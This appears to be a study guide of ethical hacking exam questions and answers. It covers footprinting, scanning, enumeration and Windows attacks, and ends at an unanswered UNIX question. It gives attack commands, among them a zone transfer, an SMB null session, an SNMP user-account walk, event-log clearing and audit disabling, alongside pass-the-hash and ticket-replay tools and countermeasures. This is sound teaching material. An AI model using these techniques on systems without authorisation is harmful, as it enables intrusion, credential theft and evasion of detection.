Ethical Hacking Questions & Answers 🕵️‍♂️💻

Reviewed by Enrico Fortuna ©

Legend:

- 💣 `Attack`: This icon identify a specific attack
- 🔧 `Tool:` This symbol represent the tool used to perform a certain attack
- ⛔ `Countermeasures:` It indicates countermeasures for a certain attack

Ch. 1: Footprinting

Q: What is footprinting and which goals does it achieve? Describe the attack steps that should be performed.

A: *Footprinting* is about **scoping out** your target of interest, understand everything there is to know about that target and how it interrelates with everything around it, often **without sending a single packet** to your target. It enables attackers to create a near complete profile of an organization's security posture.

The attack STEPS are the following:

- **STEP 1 - Determine the scope of your activities**:
  Before proceeding, it's essential to define the boundaries of your assessment. Will you be gathering information about the entire organization, or are you focusing on specific subsidiaries, departments, or locations?
- **STEP 2 - Get proper authorization**:
  Do you have authorization to proceed with your activities? (preferably in writing to avoid any misunderstandings).
- **STEP 3 - Publicly available information**:
  A significant amount of information about an organization can be gathered from publicly accessible sources. Examples of public information are: *Company web*

pages, Related organizations, Location details, Employee information, Current events, Privacy and security policies, Archived information, Search engines and data relationship.

- **STEP 4 - WHOIS and DNS Enumeration**:
  Domain-Related Searches: When you're looking up information about a **domain name** (e.g., `example.com`), here's the process:
    - **Start with the Registry**: Each top-level domain (TLD) like `.com`, `.org`, or `.net`, has an **Authoritative Registry** that manages information about which **Registrar** (a company like *GoDaddy* or *Namecheap*) is handling that domain. For `.com`, this would be a `.com` Registry.
        - **Find the Registrar**: Once you know which Registrar is managing the domain, you query their WHOIS database. This database contains details about the domain's Registrant you are interested (the person or organization that owns the domain).

      We refer to these as the *Three Rs* of WHOIS: **Registry**, **Registrar**, and **Registrant**.
      To start your search, you can use **ICANN** (***Internet Corporation for Assigned Names and Numbers***), which is the authoritative source for TLDs. ICANN provides tools to perform manual WHOIS lookups, even from the command line. The results often include details like physical addresses, phone numbers, email addresses, DNS servers, and more.
      IP-Related Searches: When you're trying to look up information about an IP address, the process is slightly different:
        - **Start with a Regional Internet Registry (RIR)**:
          IP addresses are managed by Regional Internet Registries (RIRs), organizations that assign IP ranges to specific regions. For example ARIN (North America), RIPE NCC (Europe), APNIC (Asia-Pacific).
        - **Query an RIR**:
          Unlike domains, there isn't one central database for all IP address lookups. However, any RIR can tell you if the IP address you're searching for falls under its management. If it doesn't, it will redirect you to the correct RIR.

- **STEP 5 - DNS Interrogation**:
  After identifying all the associated domains, you can begin to **query the DNS**. DNS is a distributed database used to map IP addresses to hostnames, and vice versa.
  💣 `Zone transfer`: One of the most serious misconfigurations a system administrator can make is allowing untrusted Internet users to perform a **DNS zone transfer**. A zone transfer is a process where one DNS server (usually a backup or secondary DNS server) requests and receives a complete copy of the DNS records from another (the primary DNS server). This is meant for redundancy and maintaining consistent records across servers.
  Generally, a DNS zone transfer needs to be performed only by **trusted DNS servers** within the same organization. Providing internal IP address information to untrusted user over the Internet is akin to providing a complete blueprint, or roadmap, of an organization's internal network. A simple way to perform a zone transfer is to use the **nslookup** (interactive mode) client.
    - 🔧 `nslookup`: is a network administration command-line tool for querying the Domain Name System (DNS) to obtain the mapping between domain name and IP address, or other DNS records.
      Usage and Examples:
        a. **Set record type**: Use `nslookup` in interactive mode to specify record types (e.g., `ANY`) for pulling all DNS records available for a domain:

        ```
        nslookup
        > set type=any
        > <domain>
        ```

        b. **List domain records**: Use the `ls -d <domain>` command to list all the associated records for the domain (for each entry we have an **A record** that denotes the IP address of the system name located to the right). In addition each host has an HINFO record that identifies the platform or type of OS running. We can easily manipulate the results with UNIX programs such as *grep*, *sed*, *awk* to find out some keyword like “Solaris” and “test”.

  If there are multiple DNS server, you may be able to find one that will allow zone transfers. Automate the process with tools like **host** and **dig**:

  - 🔧 `Host`: The `-l option` of host command perform a zone transfer on the domain in input.
  - 🔧 `dig`: The dig command is often used to troubleshoot DNS architectures (e.g. `dig axfr <domain> @<DNS_server>` , axfr command specifies a full zone transfer request).
  - 🔧 `dnsrecon:` The best tool for performing zone transfers (with `option -x`).
  - 🔧 `fierce 2.0:` If zone transfers fail, **fierce 2.0** can still enumerate DNS entries by brute-forcing subdomains or analyzing DNS responses.

⛔ `Countermeasures:` On the network side you could **configure a firewall or packet-filter router** to deny all unauthorized inbound connections to TCP port 53, because name lookup requests are UDP and zone transfer requests are TCP. A better solution would be to **implement cryptographic transaction signatures (TSIGs)** to allow only trusted hosts to transfer zone information. Finally we **discourage the use of HINFO records**.

- **STEP 6 - Network Reconnaissance:**
  This step involves gathering information about a target network to understand its structure, assets, and potential vulnerabilities:
  - 🔧 `traceroute:` This program lets you view the route that a packet follow from one host to the next. Traceroute use **TTL field** in the IP packet to elicit an `ICMP TIME EXCEED` message from each router along the way. Each router that handles the packet is required to decrement the TTL field (hop counter).
    Traceroute helps you to **discover the network topology** by the target network, in addition to **identifying access control devices**. There may be multiple routing paths. Moreover, each interface may have different ACL applied. In many cases some interfaces pass your traceroute requests (ACL applied). Therefore, it’s important to map your entire network using traceroute (access path diagram).

    > Note: ACL stands for **Access Control List**. It is a set of rules used to control network traffic and restrict access to or from a network.

In UNIX, traceroute uses UDP packets by default, but you can use the `-I` switch to force it to use **ICMP** packets instead. Additionally, the `-p n` option in traceroute allows you to specify a starting UDP port number, which will increment by 1 with each probe. This technique helps you bypass access control devices that may filter packets based on port numbers. A good starting port number is **UDP port 53 (DNSQueries)**. Since TTL values are located in the IP header, specialized tools like `tcptraceroute` and `Cain & Abel` can perform TCP traceroutes to specific ports.

⛔ `Countermeasures:` However, several countermeasures can be employed to counter and identify the network reconnaissance attempts. Many of the **commercial NIDS (network IDS) and IPS** detect this type of network reconnaissance. Best NIDS programs to detect this activity: `SNORT`, `Bro-IDS`. Also you may be able to **configure your border routers to limit ICMP and UDP traffic to specific systems** (minimize the exposure).

Ch. 2: Scanning

Q: Describe what is Scanning.

A: Scanning is the process of identifying which systems are active and determining what services they are running. It involves two phases: **host discovery**, which checks if a system is online, and **port scanning**, which identifies open ports and the services listening on them.

Q: What are ping sweeps? Describe at least two HOST DISCOVERY techniques, and at least one tool used to perform host discovery.

A: Initially, *pinging* referred to the use of the **ICMP** protocol, but the term has been extended to include **ARP**, **ICMP**, **TCP**, and **UDP** traffic to determine if a host is active and connected.
A **ping sweep** is a method that can **establish a range of IP addresses which map to live hosts**.

Host Discovery techniques:

- **ARP Host Discovery**: The Address Resolution Protocol (ARP) translates a system's hardware address (MAC) to the IP address that has been assigned to it. The system has to send some sort of ARP request to start traversing the path to reach its destination. An ARP scan sends an ARP request out for every host on a subnet, and the host is considered *alive* if an ARP reply is received.
    - 🔧 `arp-scan`: Simple ARP pinging and fingerprinting utility. You must run `arp-scan` as the root user;
    - 🔧 `Nmap` (UNIX, Windows, Mac): *de facto* tool for anything related to host and services discovery. Support arp scanning via the `-PR option`. To only perform a host discovery and not a port scanning you can specify the `-sn option`.
    - 🔧 `Cain`: It provides a ton of functionality for the Windows-only crowd that goes way beyond hosts and service discovery.
- **ICMP Host Discovery**: ICMP provides a variety of message types to help diagnose the status of a host and its network path. Common ICMP types:
    - **type 0**: echo reply (ping);
    - **type 8**: echo request (ping reply);
    - **type 13**: timestamp (sys time);
    - **type 17,18**: address mask request/reply (local subnet mask).
- **TCP/UDP Host Discovery**: For the networks that limit ICMP, the next approach an attacker can take to identify live hosts is to use TCP and/or UDP packets. At least one open port is always available for clients to connect to.

Tools:

- 🔧 `Nmap` : Nmap **-sn option** enables a **hybrid-type** of attack where it attempts ARP, ICMP, and TCP host discovery. If the target host has TCP port 80 closed, or if packets are dropped by a firewall, Nmap might incorrectly determine the host as being down. To work around this, you can skip Nmap's default host discovery and directly scan its default port list (1,000 common ports) using a blind port scan: `nmap -Pn <target>` This forces Nmap to ignore host discovery and proceed with the port scan regardless of the host's response.
- 🔧 `SuperScan`: Using the TCP/UDP port scan options, you can determine whether a host is alive or not without using ICMP at all. Simply select the checkbox for each protocol you wish to use and the type of technique you desire, and you are off to the races.

- 🔧 `nping`: As expected, you can also use nping to perform TCP/UDP host discovery. Since nping is so versatile, its output is more verbose by default, which may be more information than you really need.

Q: Describe at least one technique to determine which services are running or listening on a remote host (PORT SCANNING). Discuss pro and cons, and which tools you may use in practice.

A: **Techniques**:

- **TCP Connect Scan** - This type of scan connects to the target port and completes a full **three-way handshake** (SYN, SYN/ACK, and ACK):
    - **Slower** than other scan types
    - **Logged** by the target system
- **TCP SYN Scan** - Only a SYN packet is sent to the target port.
    - **SYN/ACK** response → Port is LISTENING
    - **RST/ACK** response → Port is NOT LISTENING
    - **Not Logged** by the target system
    - This form of scanning can produce a DOS condition on the target by opening a large number of half-open connections
    - Relatively safe
- **TCP FIN Scan** - Sends a FIN packet to the target port:
    - Based on *RFC 793*, the target system should send back an RST for all closed ports
    - Only works on UNIX-based TCP/IP stacks
- **TCP Xmas Tree scan** - This technique sends a FIN, URG, and PUSH packet to the target port:
    - Based on RFC 793, the target system should send back an RST for all closed ports
- **TCP NULL Scan** - Turns off all flags:
    - Based on RFC 793, the target system should send back an RST for all closed ports
- **TCP ACK Scan** - Used to map out firewall rule sets:
    - It can help determine if the firewall is a simple packet filter allowing

only established connections (connections with the ACK bit set) or a stateful firewall performing advance packet filtering.

- **TCP Windows Scan**:
    - May detect open as well as filtered/non filtered ports on some systems (AIX, FreeBSD and so on), due to an anomaly in the way the TCP window size is reported.
- **TCP RPC Scan**:
    - Specific in UNIX systems
    - Used to detect and identify RPC (Remote Procedure Call) ports, their associated program and version number.
- **UDP Scan** - Sends a UDP packet to the target port:
    - ICMP "Port Unreachable" response → Port is closed
    - No response → Port is likely open
    - Very slow process

Tools:

- 🔧 `Nmap:` one of the most feature-rich port-scanning tools out there. First perform **host discovery** and by then **port scanning** only if the host that have been identified as being alive.
    - `option -sS`: TCP SYN Scan;
    - `option -oN`: save the report in human-readable format to a file;
    - `option -f`: **fragment the packet**, against a simple packet filter as primary firewall. Depending on the sophistication of the target network and hosts, the scans performed thus far may have easily been detected;
    - `option -D`: **decoy-scan capabilities**, making it more difficult to discern legitimate port scans from bogus ones. You simply spoof the source address of legitimate servers and intermix these bogus scans with the real port scan.
    - `option -b`: **perform a FTP bounce scanning**. FTP bounce attack is an exploit of the FTP protocol whereby an attacker is able to use the PORT command to request access to ports indirectly through the use of the victim machine as a middle man for the request.
- 🔧 `Netcat` (CLI): (*Swiss Army knife* of security): is an excellent utility that deserves an honorable mention. Netcat's basic TCP and UDP port-scanning

capabilities are useful in some scenarios when you need to **minimize your footprint on a compromised system**. By default, netcat uses TCP ports. Therefore, we must specify:

   - `option -u` for UDP scanning;
   - `options -v and -vv` provide verbose and very verbose output, respectively;
   - `option -z` provides zero mode I/O and it's used for port scanning;
   - `option -w2` provides a timeout value for each connection.
- 🔧 `SuperScan` (Windows, GUI): allows for ping scanning, TCP and UDP port scanning, and includes numerous techniques for doing them all. SuperScan allows you to choose from four different ICMP host-discovery techniques, including traditional `ECHO REQUESTS` and the less familiar `TIMESTAMP REQUESTS`, `ADDRESS MASK REQUESTS`, and `INFORMATION REQUESTS`. Additionally, the tool allows you to choose the ports to be scanned, the techniques for UDP scanning (including Data, Data+ICMP, and static source port scanning), and the techniques for TCP scanning (including SYN, Connect, and static source port scanning).
- 🔧 `ScanLine` (Windows, CLI): like netcat, it is just a single executable, which makes it easy to load onto a compromised host and pivot to target internal systems that may be inaccessible from your initial attack system.

Ch. 3: Enumeration

Q: Discuss the differences between scanning and enumeration. Describe at least one enumeration technique.

A: **Scanning** is equivalent to **inspecting the perimeter** for potential entry points. This process is typically **non-intrusive** and focuses on gathering surface-level information to map the target environment.

Enumeration, on the other hand, involves **digging deeper into the identified entry points** by actively interacting with the system to extract detailed information.

The key difference is in the **level of intrusiveness**. Enumeration involves active connections to systems and directed queries. As such, they may be logged or otherwise noticed. In general, the information attackers seek via enumeration includes **user account names** (to inform subsequent password-guessing attacks), **misconfigured shared resources** (for example, unsecured file shares), and **older software versions with known security vulnerabilities** (such as web servers with remote buffer overflows).

Enumeration techniques tend to be platform-specific and are, therefore, heavily dependent on information gathered with scanning (port scans and OS detection). In fact, port scanning and enumeration functionalities are often bundled into the same tool, as you saw with scanning with programs such as SuperScan, which can scan a network for open ports and simultaneously grab banners from any it discovers listening.

Techniques:

- 💣 `Basic Banner Grabbing`: Banner grabbing involves **connecting to remote services and observing the output**, to gather information about running services. Attacker may identify the maker and model of the running service, which in many cases is enough to set the vulnerability research process in motion.
    - 🔧 `Telnet and netcat`: The simplest mechanism for enumerating banners and application info has traditionally been based on **telnet**. Using telnet to grab banners is as easy as **opening a telnet connection to a known port on the target server**, pressing ENTER a few times, if necessary, and **seeing what comes back**. For a slightly more surgical probing tool, rely on **netcat**, the *TCP/IP Swiss Army knife*.
      Here, we examine one of its more simplistic uses, connecting to a remote TCP/IP port and enumerating the service banner:

      ```
      nc -v www.example.com 80
      ```

  ⛔ `Countermeasures:`
    - **Disable unnecessary services** to minimize exposed ports;
    - **Implement network access control** to restrict access to critical services;
    - **Obfuscate banners** by removing vendor and version details from the service configuration;
- 💣 `Enumerating FTP (TCP 21)`: **FTP** (File Transfer Protocol) servers often

inadvertently host sensitive information. Even worse, many public FTP servers allow anonymous access, which attackers can exploit.
We can use anonymous and a dummy email-address to authenticate to this anonymous service:

```
ftp ftp.example.com
```

Also graphical FTP clients are available (such as FileZilla).
⛔ `Countermeasures`: FTP should just be turned off. Always use Secure FTP (SFTP, with SSH encryption) or FTP Secure (FTPS, with SSL) protected by strong password or certificate-based authentication.

- 💣 `Enumerating SMTP (TCP 25)`: **SMTP** (Simple Mail Transfer Protocol) provides two built-in commands that allow the enumeration of the users (after a connection with telnet on the port 25, netcat as well):
    - `vrfy <mail>` → verifies if an email address is valid;
    - `expn <mail>` → reveals the actual delivery addresses of aliases and mailing lists.

  A tool called `vrfy.pl` can speed up this process.
  ⛔ `Countermeasures`: SMTP should just be turned off. Popular SMTP server can disable these commands through the file `mail.cf` (SMTP version >= 8). If they don't, consider switching vendors!

Q: SNMP enumeration, which account you need, countermeasure.

A: The **Simple Network Management Protocol (SNMP)**, was originally developed for network management and monitoring, providing detailed information about network devices, software, and systems. However, its widespread use and relatively weak security mechanisms make it a common target of hacker attacks.

💣 `Enumerating SNMP (UDP 161)`: SNMP relies on a basic password system known as the **SNMP community string**. It is like a user ID or password that allows access to the SNMP agent, for example, a router's, firewall's, or other network device's statistics. Unfortunately, many implementations use **well-known default passwords**. For example, `public` is a commonly used read-only community string, and attackers often attempt to guess it or intercept it using tools like **Wireshark** once SNMP is identified during a port scan.

What's more, many vendors extend SNMP's **Management Information Base (MIB)** to include proprietary information; for example, the Microsoft MIB contains the names of Windows user accounts. This means that even if other vulnerable ports (like TCP 139 or 445) are secured, NT systems may still miss out on similar information if you run the SNMP service in the configuration by default (which uses `public` as a community string for reading).

- `snmputil`: SNMP makes it relatively easy to enumerate Windows users when default settings are in place. For example, using the `snmputil` tool from the Microsoft Resource Kit, an attacker could execute the following command to list user accounts:

  ```
  snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25
  ```

  Explanation of the command:
    - `192.168.202.33`: The target system’s IP address
    - `public`: The default community string for read-only access
    - `.1.3.6.1.4.1.77.1.2.25`: The **OID (Object IDentifier)** for Windows user accounts in Microsoft’s MIB

  The latter is a hierarchical namespace, therefore walking up the tree (that is, using a less specific number like .1.3.6.1.4.1.77) you get much more information. Remembering all these numbers is difficult, so an intruder will use the equivalent text string (human-friendly label that correspond to the same OID). You can also use the UNIX/Linux `snmpget` tool in the net-snmp suite to query SNMP.
  An hacker could use all this information to try to compromise the system. In the even worse case where the default community string was enabled for writing (for example `private`), the hacker would also be able to modify some of the parameters listed, in order to carry out a **DoS attack** or compromise system security.
  A particularly useful tool for misusing default community names for SNMP writing is muts' `copy-router-config.pl`. Cisco networking devices allow anyone who knows the string to copy their configuration to a TFTP server community for writing. Having gained access to the configuration of the Cisco device, a hacker could decrypt the password or launch a brute force attack to obtain it.

`Countermeasures`: The simplest way to prevent SNMP enumeration is to **remove or disable SNMP agents** on individual machines. If you cannot disable SNMP entirely, you must at least make sure it is configured with the community names chosen in so that they are difficult to guess (and are not, therefore, the default names `public` or `private`).

Of course, if you use SNMP to manage your network, you must **block access to TCP and UDP ports 161** (SNMP GET/SET) in all access devices placed on the perimeter of the network. Finally, it is necessary to limit access to SNMP people by granting it only to the IP address of the appropriate management console.

Q: Active Directory enumeration (Windows). Describe techniques and tools.

A: 💣 `Windows Active Directory LDAP Enumeration (TCP/UDP 389 and 3268)`: **Lightweight Directory Access Protocol (LDAP)**, which Microsoft implements as **Active Directory (AD)**, is a centralized system for managing and storing information about network resources such as users, computers, and groups.
Because AD is designed to contain a logical and unified representation of an organization's IT infrastructure, it contains a lot of information by enumeration.

- 🔧 `ldp.exe`: is Windows LDAP client included in the **Active Directory Administration Tools** which allows users (and attacker) to connect to an AD server and navigate its directory structure.
  An attacker can then use `ldp.exe` against a host and enumerate all users and groups with an LDAP query. The only prerequisite is to create an authenticated session via LDAP, which means you have already compromised an existing account on the target (have access to valid login credentials).
  Step-by-Step process:

  ```
  1. **Connect to the target** using ldp. `Open Connection` &rarr; `Connect`
  2. Once connected to the target, **authenticate as Guest user** (already c
  3. Once the LDAP session has been established, it can be enumerated: open
  4. A node appears in the left panel, click the + to reveal the objects und
  5. Double click on the CN = Users and CN = Builtin containers which reveal
  ```

When installing AD, administrators are prompted to decide whether to loosen directory access permissions for compatibility with older systems.
In this way the user objects will be exposed to enumeration via LDAP. On Linux you can do the same using **LUMA**, or the Java based tool called **Jxplorer**, both with GUI. For command line

of a Linux tool use **ldapenum**.

⛔ `Countermeasures`: You should **filters access to ports 389 and 3268 on the device that interfaces with the internet in the network** (network boundaries).
Nobody should log in without being authenticated to the ADs then restrict permissions. To keep safety you need to keep the mode native to Windows (which does not include the Everyone group). Also be sure to **remove the Everyone group** (group that allows authenticated sessions with any user) from pre-Windows 2000 compatible installations (less secure having this group).

Q: Describe the technique to enumerate the Microsoft's Server Message Block (SMB) service. What information can be enumerated from the SMB service? Under what assumptions is each of such enumeration possible? Discuss the tools, explain how each of them works, and also the countermeasures for this enumeration attack. Is Microsoft providing a facility to prevent SMB enumeration?

A: 💣 `Server Messagge Block Enumeration (TCP 139 and 445)`: Microsoft's **Server Messagge Block (SMB)** protocol forms the **basis of Windows File and Print Sharing** (the Linux implementation of SMB is called Sambe).
SMB is accessible via API's that can return rich information about Windows, even to unauthenticated users.

- **Null Sessions**: The first step in enumerating SMB is to connect to the service using the so-called "null session" command:

  ```
  net use \\192.168.202.33\IPC$ "" /u:""
  ```

  This syntax connects to the hidden interprocess communications "share" (`IPC$`) at IP address `192.168.202.33` as the built-in anonymous user (`\u:""`) with a null (`""`) password.
  If successful, the attacker now has an open channel over which to attempt the various techniques outlined in this section to pillage as much information as possible from the target, including **network information, shares, users, groups,**

Registry keys, and so on.
Called also the “Red Button” vulnerability or anonymous logon, it can be the single most devastating network foothold sought by intruders, as we will vividly demonstrate next.

- **Enumerating File Shares**: Some of the favorite targets of intruders are mis-ACL’d Windows file shares. With a null session established, we can **enumerate the names of file shares** quite easily using a number of techniques. For example, the built-in **Windows net view command** can be used to enumerate shares on remote systems:

```
net view \\vito
```

    - 🔧 `srvcheck and srvinfo`: These are two good share-enumeration tools (using the `-s` switch). `srvcheck`displays **shares and authorized users**, including hidden shares, but **it requires privileged access to the remote system** to enumerate users and hidden shares. `srvinfo -s` parameter lists shares along with a lot of other potentially revealing information.
    - 🔧 `DumpSec`: Formerly known as DumpAcl, DumpSec is one of the best tools for enumerating Windows file shares. It audits everything from **file-system permissions** to **services available on remote systems**. Basic user information can be obtained even over an innocuous null connection, and it can be run from the command line, making for easy automation and scripting. DumpSec can be used to dump share information from a remote computer.

Opening null connections and using the preceding tools manually is great for directed attacks, but most hackers commonly employ a NetBIOS scanner to check entire networks rapidly for exposed shares. Some tools that perform these tasks are:

    - 🔧 `SysInternals’s` (acquired by Microsoft)
    - 🔧 `ShareEnum`: it has fewer configurable options, but, by default, it provides a good amount of information and has nice comparison features that may be useful for comparing results over time.
    - 🔧 `SoftPerfect’s Network Scanner`: it is a bit more diverse but requires some minimal configuration beyond the default

Another popular Windows share scanner is:

    - 🔧 `NetBIOS Auditing Tool (NAT)`: NAT not only finds shares but also attempts forced entry utilizing user-defined username and password lists.

Ch. 4: Hacking Windows

Q: Unauthenticated Attacks VS Authenticated Attacks

A: **Unauthenticated attacks** are initiated only with the knowledge of the target system gained with scanning and enumeration, without prior access or credentials. The goal is to exploit vulnerabilities to gain a **foothold**.

The primary vectors for compromising Windows system remotely include:

- **Authentication spoofing**: Exploits the reliance on password-based authentication. Techniques include **brute-force** or **dictionary attacks** to guess passwords and **man-in-the-middle (MITM)** attacks to intercept or spoof authentication traffic.
- **Network services**: Modern tools make it easy to penetrate vulnerable services that listen on the network.
- **Client vulnerabilities**: Client software like Internet Explorer, Outlook, Office, Adobe Acrobat Reader, and others have become frequent targets for attackers who seek to directly access user data.
- **Device drivers**: Research into device drivers, which handle communication between the operating system and hardware like wireless adapters, USB drives, and CD-ROMs, has revealed new vulnerabilities that attackers can exploit.

Once attackers have obtained access to a user account on a Windows system, their next goal is to escalate privileges to gain full control of the system.

Authenticated attacks refer to attacks carried out after the attacker has already obtained valid credentials or access. These attacks focus on **exploiting vulnerabilities or misconfigurations to elevate privileges**, such as moving from a regular user to Administrator or SYSTEM-level access, allowing the attacker to execute commands with the highest privileges and potentially take over the entire system.

Q: What are the three main network password exchange protocols used in Windows systems? Describe the pass-the-hash and pass-the-ticket attacks and countermeasures (Unauthenticated attacks).

A: The three main network password exchange protocols in windows are the following:

1. **LM (Lan Manager) authentication protocol**: is an outdated network operating system and authentication protocol used by Microsoft for managing and securing local area networks (LANs). It can be exploited due to a weakness in the Windows challenge response implementation that makes it easy to exhaustively guess the original LM hash credential.
2. **NTLM (New Technology LM)**: It is a challenge/response protocol. The authentication happens something like this:
   First, the client attempts to login and the server responds with a challenge → in effect the server says, If you are who you say you are, then encrypt this thing (**challenge X**) with your hash → next, the client encrypts the challenge and sends back the encrypted challenge response → the server then attempts to decrypt that encrypted challenge response with the user password hash → if it decrypts to reveal the challenge that it sent, then the user is authenticated.
3. **Kerberos**: is a secure network authentication protocol that uses **tickets** to allow nodes to communicate over an insecure network. It is commonly used in distributed systems for user and service authentication, with a Key Distribution Center (KDC) managing secret key exchanges. This implementation sends a preauthentication packet that contains a known plaintext (a timestamp) encrypted with a key derived from the user password.

- 💣 `Pass-the-Hash`: Pass-the-hash is a technique that allows an attacker to authenticate to a remote server using the LM and/or NTLM hash of a user's password, eliminating the need to crack/brute-force the hashes to obtain the cleartext password (which is normally used to authenticate). In the context of NTLM authentication, Windows password hashes are equivalent to cleartext passwords, so rather than attempting to crack them offline, attackers can simply replay them to gain unauthorized access.
  In 2000, Hernan Ochoa published techniques for implementing the pass-the-hash technique natively in Windows by modifying at runtime the username, domain

name, and password hashes stored in memory. These allow you to pass-the-hash using Windows native applications like Windows Explorer to access remote shares administrative tools like Active Directory Users and Computers, and any other Windows native application that uses NTLM authentication. This technique has become very popular among penetration testers and attackers because it can allow the compromise of the whole Windows domain after compromising a single machine.
⛔ `Countermeasures`: The pass-the-hash technique is inherent to the NTLM authentication protocol; all services using this authentication method (SMB, FTP, HTTP, etc.) are vulnerable to this attack. **Using two-factor authentication** might help in some situations, but in most network environments, you will most likely have to live with the possibility of the attack.

- 💣 `Pass the Ticket for Kerberos`: When using Kerberos authentication, clients authenticate to remote services on remote systems using “tickets” and create new tickets using the **Ticket Granting Ticket (TGT)** provided by the Key Distribution Center (KDC), which is part of the domain controller, on logon.
  Similar to how pass-the-hash attacks allow an attacker to replay NTLM password hashes to authenticate on a remote system, an attacker can perform a "Pass the Ticket" attack: They can dump existing Kerberos tickets from the memory of a compromised system using tools like the **Windows Credential Editor** (`wce.exe -K`). The stolen ticket is replayed to authenticate to additional services.
  ⛔ `Countermeasures`: For mitigating Kerberos sniffing attacks, there is no single Registry value to set as with LM.

Q: Explain what steps attacker should take to cover his tracks after successfully gaining administrator privileges on Windows system in order to avoid detection. Attackers can hide their files in the system? (Covering Tracks)

A: Once intruders have successfully gained high-level privileges on a Windows system, their goal is to avoid further detection of their presence. Here are common methods attackers use to evade detection:

- **Disabling Auditing**: Auditing tracks activities like logins, file access, system changes, and network activity. It is used to monitor user actions and detect

unauthorized access or anomalies for security and compliance purposes. Disabling auditing makes it harder for system administrators to detect malicious actions.
The first thing intruders check on gaining Administrator privilege is the Audit policy status on the target. Use 🔧 `auditpol` command with the `disable` argument to turn off the auditing on a remote system. At the end of their stay, the intruders simply turn on auditing again using the `auditpol/enable` switch.

- **Clearing the Event Log**: Intruders may **clear the logs** that show evidence of their activities, such as successful privilege escalation or suspicious network traffic. Event Viewer on the attacker's host can open, read and clear the remote host's logs. This process clears the log of all records but it does leave one new record stating that the Event Log has been cleared by the attacker (can raise alarms among system users).
    - 🔧 `ELSave utility`: it is a simple tool for clearing the Event Log. Syntax to clear the Security Log on the remote server 'joel':

      ```
      elsave -s \\joel -l "Security" -C
      ```

- **Hiding Files**: Keeping a toolkit on the target system for later use is a great time-saver for the next attack.
    - 🔧 `attrib`: Hiding files gets no simpler than copying files to a directory and using the old *DOS attrib tool* to hide it:
        - `attrib +h [directory]`: hides files and directories from command-line tools, but not if the '*Show All Files*' is selected in Windows.
    - 🔧 `ADS (Alternate Data Streams)`: NTFS (**New Technology File System**) is a file system developed by Microsoft that supports advanced features like security, compression, and Alternate Data Streams. If the target systems runs it, an alternate file-hiding technique is available to intruders.
      NTFS offers support for multiple streams of information within a file (a mechanism to add additional attributes or information to a file without restructuring the file system). It's also used to hide a malicious hacker's toolkit (called **adminkit**). Any file could be used.
- **Rootkits**: A rootkit is a **collection of computer software, typically malicious**, designed to enable access to a computer or an area of its software that is not

otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.

Q: Describe at least three Windows security features available with Windows 2000 and above. Are there published attacks that bypass these three features? P.S: The presentations of Windows Firewall and Automated Updates will not be evaluated.

A: Windows provides many security tools and features:

- **Security Center**: Windows Security Center is a consolidated viewing and configuration point for key system security features: Windows Firewall, Windows Update, Antivirus (if installed), and Internet Options.
- **BitLocker & Encrypting File System (EFS)**: **EFS** is a public key-based cryptographic system used to encrypt files on a local system. It ensures that files remain protected from unauthorized access, with encryption done in real-time. It encrypts a file using a random key that is itself encrypted with a user’s public key. EFS does not apply to multiple users on the same machine who want to protect files from the other files, in this case we need the ACLs of NTFS.
  The **main vulnerability of EFS lies in the recovery agent account**. The password for the local administrator can be easily reset using tools that they work when the system is started with a different operating system (ex. `chntpw`).
  BitLocker Drive Encryption (from Vista onwards) instead, initially meant to provide security on the integrity of the OS, now it serves to protect against attacks like the technique previously mentioned for EFS. BDE **encrypts entire volumes of memory** and saves the key in multiple ways, difficult to compromise since changing OS doesn't help. But also BDE is **vulnerable to cold boot attacks**, which consist in cooling the DRAM to increase the time before the OS loaded in memory is cleaned of DRAM, and get a system image from which the BDE encryption key could be extracted.
  ⛔ `Countermeasures`: It is impossible to protect keys in scenarios where the attacker physically possesses them. The only possible mitigation is to **physically separate the key from the system** it must protect. Shutting down the BDE protected system removes the keys from memory making them unreachable to

these attacks. It goes without saying that removable external hardware physically containing the key mitigates the attack.

- **Windows Resource Protection**: Originally called Windows File Protection (WFP), it was later updated to include critical Registry values in addition to system files and renamed **Windows Resource Protection (WRP)**. WRP stores copies of essential system files in `%Windir%\WinSxS\Backup`. Its protection mechanisms rely on Access Control Lists (ACLs), which actively protect system resources.
  With WRP, even administrators cannot change the protected resources by default. Only specific processes can override its protection, including the *Windows Update Installer*, *Service Packs*, *Hotfixes*, and *Operating System upgrades*, all of which are installed by the TrustedInstaller account.
  The **vulnerability of WRP** lies in the fact that administrators can change the ACLs on protected resources, allowing them to access and modify the protected files. Administrators can, therefore, alter the privileges on these resources.
  The purpose of WRP is to prevent unauthorized changes to protected resources by third-party installers or malicious software, not to prevent administrators from performing legitimate actions on the system.
- **Integrity Levels, UAC and PMIE**: With Vista, Microsoft implements **Mandatory Integrity Control (MIC)**, an extension of the discretionary access control system, designed to implement a form of mandatory access control (MAC). MIC to work implements 4 principles called **Integrity Levels (IL)** (low, medium, high, system). These levels prevent a process from reading or writing to a resource with a higher integrity level (called "no write up, no read down" based on the Biba Integrity Model) protecting the integrity.
  This means, for example, that a process with Medium IL cannot modify resources with High IL privileges, and a High IL process cannot access or change System IL resources. MIC isn't directly visible, but rather provides the basis for several important security features introduced in Vista and later versions, such as **User Access Control (UAC)** and **Protected Mode Internet Explorer (PMIE)**.
    - `UAC`: It controls which specific applications can be run with elevated privileges. It works like this:
        - Developers embed to applications a manifest to specify if they require higher privileges (in practice it switches to high IL).
        - When an administrator logs in, the system assigns two

tokens: a **filtered token** (for regular applications with no elevated privileges) and a **linked token** (for applications that need higher privileges).
        - If a non-admin user tries to run a program that needs elevated privileges, they are prompted for administrator credentials.
        - By default, non-admin processes run at a medium IL, but when elevated through UAC, they run at a high IL, giving them access to resources that require those privileges.
    - 🔧 `PMIE`: Internet Explorer (`iexplore.exe`) runs at low IL by default, being able to write only on the `%USERPROFILE%\AppData\LocalLow` folder and registry key `HKCU\Software\AppDataLow`. This reduces the risk of malware causing damage while the user is browsing, as it can't write to other critical system areas.
- **Data Execution Prevention (DEP)**: DEP is a security feature designed to protect against attacks like buffer overflows, where malicious code is injected into executable areas of memory (such as the CPU stack or heap).
  By **marking certain areas of memory as non-executable**, DEP prevents code from running in those areas. This helps stop attacks that rely on injecting malicious code into memory. DEP uses both software and hardware components to enforce these protections, blocking this type of attack.

Ch. 5: Hacking UNIX

Q: Describe at least one attack method to gain remote access on a UNIX system. Describe at least one attack method to gain root access. Discuss pro and cons.

A:

